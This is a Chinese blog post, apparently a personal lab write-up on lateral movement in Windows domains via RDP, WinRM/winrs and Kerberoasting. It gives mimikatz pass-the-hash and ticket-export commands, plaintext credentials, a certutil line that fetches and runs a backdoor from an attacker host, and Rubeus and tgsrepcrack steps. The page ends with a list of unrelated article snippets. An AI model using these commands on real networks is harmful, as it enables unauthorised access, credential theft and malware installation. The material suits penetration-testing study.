当前位置: 首页 > news >正文

内网渗透—横向移动RDPWinRMWinRSSPN扫描Kerberos攻击

前言

今天仍是横向移动的内容,有些实验能成功,有些实验则各种奇怪的问题导致失败,这都是很常见的。就连小迪在视频中也经常翻车,我们只需要知道原理,以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百成功的,而且有很多步骤或者操作方式都是在前面的文章重复说了很多次了,所以接下来的文章涉及到重复的操作可能就一句话带过了。因为,重复的东西解释起来太麻烦了。

实验环境

这个我也不想多说了,和之前的一样。老样子,实验开始之前先让web服务器上线CS,顺便提权至system,别再问咋上线了。

RDP

明文连接

RDP就是windows的远程桌面连接,也是支持明文和NTLM连接的。一般RDP连接的话可以分为两种情况,一是直接在被控主机上去连接远程桌面,这个就比较容易被发现,二是建立节点,挂上代理然后在本地远程桌面连接。毋庸置疑,第二种肯定是要比第一种好的。先利用CS的插件查看一下RDP服务的端口,因为在实际情况中运维基本不会把RDP服务设置为默认的3389端口(我懒得改了)。

RDP服务为3389端口,那么我们先扫一下3389端口,进行一个内网探测。

抓取一下密码,记得要提权。

在CS上对web服务器开启socks代理,然后在本地配置好,直接远程桌面连接30主机试试。

连接上了,但是非常的卡。还有一点就是,你需要知道当前你连接的账户是否有人使用。如果这个账户正在使用的话,而你又远程连接上去,他那边就会有提示把人踢下线,那你不就被发现了么。

Hash连接

前面我们说过RDP也支持hash连接,但是受限条件太多了。需要开启Restricted Admin Mode,在Windows8.1和Windows server 2012 r2上是默认开启的。同时想要使用hash值连接远程桌面,不单单是本地要支持Restricted Admin Mode,对端也要支持Restricted Admin Mode。

如果说当前系统支持Restricted Admin mode,输入下面的命令就会弹出远程连接的窗口,反之没有则不支持。

mstsc.exe /restrictedadmin

本地运行minikatz,这里我就远程连接到30主机吧,它是Windows server 2012 r2系统的。输入下面的命令,hash前面我们抓取到的。执行之后就会弹出远程桌面窗口,不需要再输入密码。可以看到是连接得上的,不过要等有点久我就懒得等了。

privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.22.30 /ntlm:ae7cb5a96c2a31d4c66be99737f48f8c "/run:mstsc.exe /restrictedadmin"

WinRM&WinRS

手动横移

WinRM代表windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持xerberos和NTLM身份验证以及基本身份验证。WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。

移动条件:

双方都启用WinRM和WinRS的服务。

使用此服务需要管理员级别凭据。

Windows 2008 以上版本WinRS默认自动状态,windows vista/win7上必须手动启动。

Window2012之后的版本默认允许远程任意主机来管理。

这个攻击主要是针对Windows2008以上的系统版本,因为2008以下的话则需要手动开启,我连你的权限都没获取咋手动开启嘛。其实WinRM和WinRS是一个东西,只是我们借助的是WimRM服务,而使用的是WinRS的命令去连接。

查看一下winrm侦听器配置。

#查看侦听器配置
winrm e winrm/config/listener 或 winrm enumerate winrm/config/listener#查看具体配置
winrm get winrm/config
Address:表示监听器所监听的地址。
Transport:用于指定用于发送和接收 WS-Management 协议请求和响应的传输类型,如  HTTP 或 HTTPS,其默认值为 HTTP。
Port:表示监听器所监听 TCP 端口。
Hostname:正在运行 WinRM  服务的计算机的主机名。该值必须是完全限定的域名、IPv4 或 IPv6  文本字符串或通配符。
Enabled:表示是启用还是禁用侦听器,其默认值为 True,表示启用。
URLPrefix:用于指定要在其上接受  HTTP 或 HTTPS 请求的 URL 前缀。例如,如果计算机名称为 SampleMachine,则 WinRM 客户端将在目标地址中指定 `https://SampleMachine/<在目标地址中指定的 URLPrefix>`。默认 URL 前缀为 "wsman"。CertificateThumbprint:用于指定服务证书的指纹。
ListeningOn:用于指定侦听器使用的 IPv4 和 IPv6 地址。

接着启动WinRM服务,有需要的可以修改一下配置,不修改的话就直接默认5985 端口。

winrm quickconfig

再在被控主机也就是我们的web服务器开启WinRM服务,这个我的web服务器是Windows2008,为了以防万一我还是手动开启一下,记得要高权限。在CS上输入命令的话,显示拒绝访问,不知道为啥,我明明已经是system权限了,难道是假的高权限么,所以我直接到web服务器上面输入命令了。

winrm quickconfig    
winrm set winrm/config/Client @{TrustedHosts="*"} //允许任何主机连接

扫描一下端口,我这里是使用默认端口的,所以直接扫5985端口。

这里我在CS上面执行命令,说什么句柄无效???不知道是什么鬼,也查不到关于这方面的资料。

winrs -r:192.168.22.30 -u:administrator -p:#Root123 "whoami"

我又直接到web服务器上面去执行命令,给我弹个拒绝访问。这又是什么鬼,我看小迪视频上面说拒绝访问是因为密码错了,但是我这里密码也没错啊。

而且我在30主机执行了下面的命令,允许接受来自任何主机的WinRm连接,还是不行。搞了一个晚上这个实验,他妈都给我搞红温了。

Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"

这里我直接换了一套环境,两台主机都在统一局域网中,其中2016是被控主机,2012是我们要横移到的主机。

winserver 2016 192.168.145.131
winserver 2012 192.168.145.251

被控主机执行开启WinRM服务命令,以防万一。

输入命令进行横向移动,成功了。

winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa whoami

获得交互式会话。

怎么上线CS不需要多说了吧,把命令换成下载后门的命令即可,就不演示了。

winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa "certutil.exe -urlcache -split -f http://192.168.145.131:80/2222.exe 2222.exe & 2222.exe"

CS内置横移

CS里面是自带WinRM横移的,不过这里我并没有实验成功。

对31主机开启转发上线。

然后在目标列表对30主机进行WinRM横移,监听器选择我们刚刚转发上线创建的,会话选择31主机提权后的。

执行之后我这里返回一大堆错误信息啥的,估计是我环境出错了啥的,也不想管啦。现实中其实也是差不多的,各种各样的错误,哎。

Kerberos攻击&SPN扫描

SPN扫描这玩意深究的话蛮复杂的,这里我参考了别人写的文章。

Spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN​类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。简单来说,Spn它不是一种横移手法而是一种扫描技术,可以利用Spn扫描去发现内网中的一些协议,常常配合Kerberos攻击一起使用。

参考链接:https://www.cnblogs.com/backlion/p/8082623.html

输入命令探测域内信息,它会回显域内哪些主机有哪些服务。

setspn -T 0day.org -q */*   #扫描全部服务
setspn -T 0day.org -q */* | findstr "MSSQL"  #扫描指定服务

Kerberos攻击

请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。简单来说,我们请求服务的时候会留下票据,而这个票据包含了密码,如果说这个票据是用RC4来加密的话我们是可以破解它的,如果是AES256则不可以。
在本地安全策略里面我们为了实验可以把加密方式设置为RC4。

看一下本地的票据,发现是有RC4加密的。

klist

我们也可以利用这个工具去检测,哪些服务是RC4加密且能利用的。只是,我这里不知道为啥检测说没有,但是我明明是有服务是RC4加密的,太奇怪了。

下载地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

shell Rubeus kerberoast

如果检测出来有服务利用的话是这样的。

或者我们手动检测,用minikatz去请求这个服务,看它产生的票据是RC4还是AES。

mimikatz kerberos::ask /target:MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433

查看票据,发现是RC4加密滴。

klist

接着导出票据,但是导出来没见有MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433服务的票据,不知道为啥。

mimikatz kerberos::list /export

使用工具破解票据,pass.txt是字典,这里我还是没有成功。不知道为啥,字典里面也含有正确的密码,加密也是RC4。哎,不管了,可能与上面Rubeus工具没扫出来可用的服务有关。反正流程就这样。

下载地址:GitCode - 全球开发者的开源社区,开源代码托管平台

 python tgsrepcrack.py Pass.txt "0-40e10000-wlwznb@krbtgt~GOD.LOCAL-GOD.LOCAL.kirbi"

如果破解成功是这样子的。

总结

总的来说RDP基本在现实中不咋用,因为你要去判断连接的账户当前在线不,被发现的风险较大。WinRM的话可能用的比较多,条件是必须为2008以上的系统才行,不过都2024年了,那些2008以下的老古董估计也没谁用了。kerberos攻击简单来说,就是找到RC4加密方式的服务,然后去请求它让本地生成票据,最后使用工具破解得到密码。

PS:这个次是实验弄了整整三天,wcnm,各种环境问题。看了一大堆文章也解决不了,实在是不想管啦。

以上便是本次横移的知识了。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关文章:

内网渗透—横向移动RDPWinRMWinRSSPN扫描Kerberos攻击

前言 今天仍是横向移动的内容&#xff0c;有些实验能成功&#xff0c;有些实验则各种奇怪的问题导致失败&#xff0c;这都是很常见的。就连小迪在视频中也经常翻车&#xff0c;我们只需要知道原理&#xff0c;以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百…...

Python套接字综合应用(UDP篇)

Python套接字综合应用(UDP篇) 1、 主要功能 UDP客户端实现UDP服务端实现输出字体颜色控制响应捕获键盘CtrlC信号套接字异常捕获及处理通信报文16进制格式化输出 2、 Python UDP套接字应用 Windows程序在WinServer2022上验证运行&#xff0c;Linux程序在银河麒麟V10上验证运…...

服务器安装哪吒面板详细教程

本文长期更新地址&#xff1a; 服务器安装哪吒面板详细教程-星零岁的博客https://blog.0xwl.com/13568.html 注&#xff1a;本文中部分内容源自网络&#xff0c;第四步中部分来自本人曾经文章&#xff1a;云服务器安装配置宝塔面板并安装基础运行环境教程-星零岁的博客 今天来讲…...

LLM微调(精讲)-以高考选择题生成模型为例(DataWhale AI夏令营)

前言 你好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名热爱AI技术的GIS开发者&#xff0c;上一篇文章中&#xff0c;作者介绍了基于讯飞开放平台进行大模型微调的完整流程&#xff1b;而在本文中&#xff0c;作者将对大模型微调的数据准备部分进行深入&#xff1b;…...

安全基础学习-RC4加密算法

这里仅仅记录一些基础的概念。后期有需求进一步扩展。 RC4 是一种对称流加密算法&#xff0c;由罗恩里维斯特&#xff08;Ron Rivest&#xff09;于1987年设计。RC4 的设计目的是提供一种简单且高效的加密方法。尽管 RC4 曾经广泛使用&#xff0c;但它的安全性在现代已受到质疑…...

雨云宁波电信大带宽服务器测评(非广告)

提示&#xff1a;本文非广告&#xff0c;非宣传&#xff01; 本文长期更新地址&#xff1a;雨云宁波电信大带宽服务器测评&#xff08;非广告&#xff09; 雨云现在有一个国内的新区——宁波 宣传的是电信大带宽&#xff0c;可附加100G防御&#xff0c;采用NVME&#xff0c;和铂…...

2024年,最新前端趋势

随着技术的不断发展&#xff0c;前端开发领域在2024年迎来了新的趋势和挑战。对于开发者来说&#xff0c;紧跟这些趋势不仅能提升技术水平&#xff0c;还能在激烈的市场竞争中脱颖而出。今天&#xff0c;我想向大家介绍一款在这波趋势中脱颖而出的开发神器——MemFire Cloud。这…...

Linux静态进程和动态进程查看管理

1.静态进程的查看PS PPID&#xff1a;谁启动的父亲ID USER&#xff1a;运行进程的用户名称 PID&#xff1a;进程ID %CPU&#xff1a;CPU的占用比例占用资源 %MEM&#xff1a;内存使用的占用比例 VSZ&#xff1a;占用虚拟内存多少 RSS&#xff1a;占用实际内存多少 TTY:…...

CPU飙升 怎么定位问题

传统的方法 【top】 查看所有进程占系统CPU的排序&#xff0c;定位是哪个进程搞的鬼。PID那一列就是进程号。 【top -Hp pid】 定位进程中使用 CPU 最高的线程tid 【printf ‘0x%x’ tid】 线程 tid 转化 16 进制,例如printf ‘0x%x’ 11882 得到16进制的 0x2e6a 【jstack…...

The Sandbox 游戏制作教程第 4 章|使用装备制作游戏,触发独特互动

欢迎回到我们的系列&#xff0c;我们将记录 The Sandbox Game Maker 的 “On-Equip”&#xff08;装备&#xff09;功能的多种用途。 如果你刚加入 The Sandbox&#xff0c;On-Equip 功能是 “可收集组件”&#xff08;Collectable Component&#xff09;中的一个多功能工具&a…...

JS 和 JSX、TS 和 TSX 的区别

1. JS&#xff08;JavaScript&#xff09; 定义与特性&#xff1a; JavaScript&#xff08;简称JS&#xff09;是一种轻量级、解释型或即时编译型的编程语言。它基于原型编程、多范式的动态脚本语言&#xff0c;支持面向对象、命令式、声明式、函数式编程范式。JavaScript 是…...

25款极氪007上市,小米SU7就不该买?

文 | AUTO芯球 作者 | 谦行 我是刚刚才知道 买小米SU7的原来是盯着他这两个功能 可爱的小女孩喊小爱同学帮她停个车 妈妈给她说SU7自己能停好&#xff0c;她还叮嘱一句“小爱同学你给我好好停” SU7滴溜溜的就停在车位上&#xff0c;全程不到一分钟 视频属实温馨&#x…...

旋转字符串 | LeetCode-796 | 模拟 | KMP | 字符串匹配

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 &#x1f579;️KMP算法练习题 LeetCode链接&#xff1a;796. 旋转字符串 文章目录 1.题目描述&#x1f351;2.题解&#x1fad0;2.1 暴力解法&#x1fad2;2.2 模拟…...

网络安全测试工具Burp Suite基本使用

一、介绍 Burp Suite 是一款由 PortSwigger 开发的集成网络安全测试工具&#xff0c;广泛用于渗透测试和漏洞扫描。它提供了一系列功能强大的工具和功能&#xff0c;帮助安全研究人员和渗透测试人员识别和修复 Web 应用程序中的安全漏洞。以下是 Burp Suite 的主要功能和特点&…...

使用pytest+selenium编写网页UI自动化脚本和用例

1 UI自动化测试 UI自动化测试&#xff08;User Interface Automation Testing&#xff09;是一种通过编写脚本或使用自动化测试工具&#xff0c;对界面&#xff08;UI&#xff09;进行自动化测试的方法。原理主要是模拟用户打开客户端或网页的UI界面&#xff0c;自动化执行用户…...

新能源遇“秋老虎”,8月第二周销量集体下滑,问界惨遭腰斩

文/王俣祺 导语&#xff1a;随着日前7月份乘用车销量的公布&#xff0c;我们发现7月并没有因6月各车企的“冲量”行为迎来反噬&#xff0c;对于这种“淡季不淡”的现象市场上一片看好。但从近日公布的8月销量数据来看&#xff0c;人们对于“秋老虎”的恐怖可以说是一无所知。随…...

SEO模板网站的wordpress主题最适合google外贸SEO

在寻找最适合Google外贸SEO的WordPress主题时&#xff0c;有几个关键因素需要考虑&#xff1a;速度、SEO友好性、多语言支持、以及是否易于定制。以下是一些推荐的WordPress主题&#xff0c;它们不仅速度快&#xff0c;而且对SEO非常友好&#xff0c;非常适合外贸网站&#xff…...

fetch跨域请求数据的前端设置和后端php的header设置

跨源请求&#xff0c;也称为CORS&#xff08;Cross-Origin Resource Sharing&#xff09;请求&#xff0c;是Web开发中常见的一种需求&#xff0c;允许一个网页的JavaScript代码向与该网页不同源的服务器发出HTTP请求。以下是使用JavaScript中的fetch函数进行跨源请求的一个基本…...

Ted靶机

信息收集&#xff1a; 靶机地址&#xff1a;https://www.vulnhub.com/entry/ted-1,327/ &#xff08;1&#xff09;ip扫描 nmap 192.168.254.0/24 -sn | grep -B 2 00:0C:29:FF:7F:9A &#xff08;2&#xff09;端口扫描 nmap -p- -A 192.168.254.159 &#xff08;3&#x…...

HarmonyOS ArkTS 构建布局

在 HarmonyOS 中&#xff0c;ArkTS 是一种基于 TypeScript 的编程语言&#xff0c;专为开发 HarmonyOS 应用而设计。构建布局是开发应用的关键步骤之一。以下是如何在 ArkTS 中构建布局的基本指南。 1. 创建项目和页面 首先&#xff0c;确保已经创建了一个 HarmonyOS 项目。如…...

PPT|230页| 制造集团企业供应链端到端的数字化解决方案:从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节&#xff0c;供应链协同管理在供应链上下游企业之间建立紧密的合作关系&#xff0c;通过信息共享、资源整合、业务协同等方式&#xff0c;实现供应链的全面管理和优化&#xff0c;提高供应链的效率和透明度&#xff0c;降低供应链的成…...

MMaDA: Multimodal Large Diffusion Language Models

CODE &#xff1a; https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA&#xff0c;它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)

引言&#xff1a;为什么 Eureka 依然是存量系统的核心&#xff1f; 尽管 Nacos 等新注册中心崛起&#xff0c;但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制&#xff0c;是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...

(转)什么是DockerCompose?它有什么作用?

一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用&#xff0c;而无需手动一个个创建和运行容器。 Compose文件是一个文本文件&#xff0c;通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...

浅谈不同二分算法的查找情况

二分算法原理比较简单&#xff0c;但是实际的算法模板却有很多&#xff0c;这一切都源于二分查找问题中的复杂情况和二分算法的边界处理&#xff0c;以下是博主对一些二分算法查找的情况分析。 需要说明的是&#xff0c;以下二分算法都是基于有序序列为升序有序的情况&#xf…...

JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案

JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停​​ 1. ​​安全点(Safepoint)阻塞​​ ​​现象​​:JVM暂停但无GC日志,日志显示No GCs detected。​​原因​​:JVM等待所有线程进入安全点(如…...

【Oracle】分区表

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...

JVM 内存结构 详解

内存结构 运行时数据区&#xff1a; Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器&#xff1a; ​ 线程私有&#xff0c;程序控制流的指示器&#xff0c;分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 ​ 每个线程都有一个程序计数…...

Linux nano命令的基本使用

参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时&#xff0c;显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器

拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件&#xff1a; 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...